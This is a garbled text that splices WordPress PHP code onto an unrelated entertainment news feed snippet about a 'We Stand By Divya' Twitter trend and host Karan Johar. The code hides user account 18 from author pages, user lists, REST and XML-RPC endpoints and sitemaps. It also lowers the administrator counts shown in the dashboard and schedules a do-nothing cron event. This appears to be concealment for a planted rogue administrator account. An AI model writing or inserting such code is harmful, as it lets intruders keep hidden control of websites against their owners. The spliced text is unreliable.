add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>The diva stood against host Karan Johar who started the show by bashing her and her connection Zeeshan over the latter’s ugly fight with Bhojpuri actress Akshara Singh.
Netizens slammed Karan Johar for being biased and not taking the responsibility of a ‘fair host.’ Divya, on the other hand, won brownie points from her fans for putting her self-respect in the front.
TV actor and ex-Bigg Boss contestants also slammed Karan Johar and said, “I’ve felt sooo sooooo bad for Zee in today’s episode.. Poor chap he dinn do anythingggggg wrong… literally anything!!! And the way he was treated today. (heartbroken emoji) M sorry but noone has gone there to take shit from him… There is a way of tackling the situations, sirf host banna is not the game you gotta do justice to your post.” In another post, he wrote, “Dear KJo.. Come lemme burst your bubble!!! U ain’t Salman Khan… try talking sense!”
Supporting Divya Agarwal, netizens started trending ‘We Stand By Divya’ on Twitter after the Sunday Ka Vaar episode. Other than lauding Divya for voicing out her opinions, they bashed host Karan Johar for targetting her and being biased towards Shamita Shetty.
One fan wrote, “No matter how many times anyone tries to pull her down, OUR QUEEN always shines bright! Heart on fire A host like him, deserves someone who can give it back to him in his own taste, that’s Divya Agarwal for you ! You go girl! ”
Another tweeted, “#DivyaAgarwal is the only contestant who is not planning plotting for the taskĀ and for future, not doing groups-2, rest HM’s trying make groups, planing for tasks and Divya is just going with the flow, that’s what called the real personality.”
The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>